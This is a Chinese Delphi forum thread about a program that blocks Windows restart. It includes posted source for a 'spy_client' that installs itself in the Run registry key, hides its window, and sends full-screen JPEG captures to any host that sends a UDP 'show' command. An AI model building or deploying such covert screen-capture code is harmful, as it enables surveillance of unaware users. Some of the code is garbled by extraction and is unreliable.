用DELPHI做的程序,如果不做特别处理,启动后,不关闭,然后在“开始”菜单里重起计算机,发现该delphi程序不能自动关闭,从而windows也无法重起。请问

  • 主题发起人 主题发起人 阿魁
  • 开始时间 开始时间

阿魁

Unregistered / Unconfirmed
GUEST, unregistred user!
用DELPHI做的程序,如果不做特别处理,启动后,不关闭,然后在“开始”菜单里重起计算机,发现该delphi程序不能自动关闭,从而windows也无法重起。请问,我怎样使程序自动关闭呢?(20分)<br />如题
 
你可以自己编个程序,强制关机:

ExitWindowsEx(EWX_Force,0);

或者参考:
http://www.delphibbs.com/delphibbs/dispq.asp?lid=655879
 
哦,是我说得不清楚。
我不是要强制关机,是想在windows重起时,我的程序能自动关闭。
现在的情况是,只要我的程序运行,windows的关机就不起作用了。
 
试试在OnCloseQuery中加入:
halt;
 
我的程序怎么没有这种问题。
 
to yh:
是么?奇怪了。还有谁遇到这种问题?
我用的是delphi6,win2000
 
我也没有这个问题!
你在程序中有什么没有处理好的吧!
 
好吧,我公开源码了!
这是一个监控系统的受控端,接到指令后向主控端发送屏幕图像。
我碰到的这个问题是最后的问题了,解决了我可以公开所有源码(主控端和被控端),
那位感兴趣帮忙吧,谢了!
==============================================================================
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, HotKeySpy, StdCtrls, Psock, NMSTRM, NMUDP, registry, jpeg;

type
TForm1 = class(TForm)
HotKeySpy1: THotKeySpy;
Label1: TLabel;
udp: TNMUDP;
strm: TNMStrm;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure HotKeySpy1HotKeys0HotKey(Sender: TObject);
procedure udpDataReceived(Sender: TComponent
NumberBytes: Integer;
FromIP: String
Port: Integer);
procedure Button1Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject
var CanClose: Boolean);
private
{ Private declarations }
procedure queryEndSession(var msg : TMessage)
message WM_QUERYENDSESSION;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
at : ATOM;
reg : TRegistry;
begin
// find the 'spy_client_atom' atom
at := GlobalFindAtom('spy_client_atom');

if at<>0 then application.Terminate
// found,exit

//add global atom
try
GlobalAddAtom('spy_client_atom');
except
close;
end;

reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion/Run',true);
reg.WriteString('spy_client',application.ExeName);
reg.CloseKey;
reg.Free;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
try
GlobalDeleteAtom(GlobalFindAtom('spy_client_atom'));
except
//noop
end;
end;

procedure TForm1.HotKeySpy1HotKeys0HotKey(Sender: TObject);
begin
self.Show;
end;

procedure TForm1.udpDataReceived(Sender: TComponent
NumberBytes: Integer;
FromIP: String
Port: Integer);
var
buf : array[1..255] of char;
i : integer;
k : cardinal;
temp : string;
cav : TCanvas;
bmp : TBitmap;
jpg : TJpegImage;
mem : TMemoryStream;
begin
if numberBytes>255 then exit
// buffer too large, deny.
udp.readBuffer(buf,i);

if buf[1]+buf[2]+buf[3] = 'who' then
begin
k := 255;
setLength(temp,k);
GetComputerName(pchar(temp),k);
setLength(temp,k);
for i:=1 to k do
buf[i+3] := temp;
buf[1] := 'i';
buf[2] := 'a';
buf[3] := 'm';
try
udp.RemoteHost := FromIp;
udp.RemotePort := port;
udp.SendBuffer(buf,k+3);
except
exit;
end;
exit;
end;

if buf[1]+buf[2]+buf[3]+buf[4] = 'show' then
begin
cav := TCanvas.Create;
bmp := TBitmap.Create;
jpg := TJpegImage.Create;
mem := TMemoryStream.Create;
try
try
cav.Handle := GetWindowDC(GetDesktopWindow());
bmp.Width := screen.Width;
bmp.Height := screen.Height;
bmp.Canvas.CopyRect(rect(0,0,screen.Width,screen.height),cav,rect(0,0,screen.Width,screen.Height));
jpg.Assign(bmp);
jpg.CompressionQuality := ord(buf[5]);
jpg.Compress;
jpg.SaveToStream(mem);
//get computer name
k := 255;
setLength(temp,k);
GetComputerName(pchar(temp),k);
setLength(temp,k);
//done
strm.FromName := temp;
strm.Host := FromIP;
strm.Port := 6667;
strm.PostIt(mem);
finally
cav.Free;
bmp.free;
jpg.Free;
mem.Free;
end;
except
exit;
end;
exit;
end

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
self.Visible := false;
end;

procedure TForm1.FormCloseQuery(Sender: TObject
var CanClose: Boolean);
begin
CanClose := true;
end;

procedure TForm1.queryEndSession(var msg: TMessage);
begin
application.Terminate;
msg.Result := 1;
end;

end.
 
Delphi带的TUDP控件有点BUG,解决方法如我上面所说的在OnCloseQuery事件中加入
Halt;

 
to wind2000:
谢谢!给分了 [:)]
 
捕捉WM_QUERYENDSESSION信息.
procedure MyQuseryEnd(var Message:TMessage );Message WM_QUERYENDSESSION;

procedure TForm1.MyQuseryEnd(var Message: TMessage);
begin
Message.Result:=1;//假如Result等于1表示允许关机,这样就可以了.
end;
 

Similar threads

D
回复
0
查看
911
DelphiTeacher的专栏
D
D
回复
0
查看
868
DelphiTeacher的专栏
D
D
回复
0
查看
840
DelphiTeacher的专栏
D
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部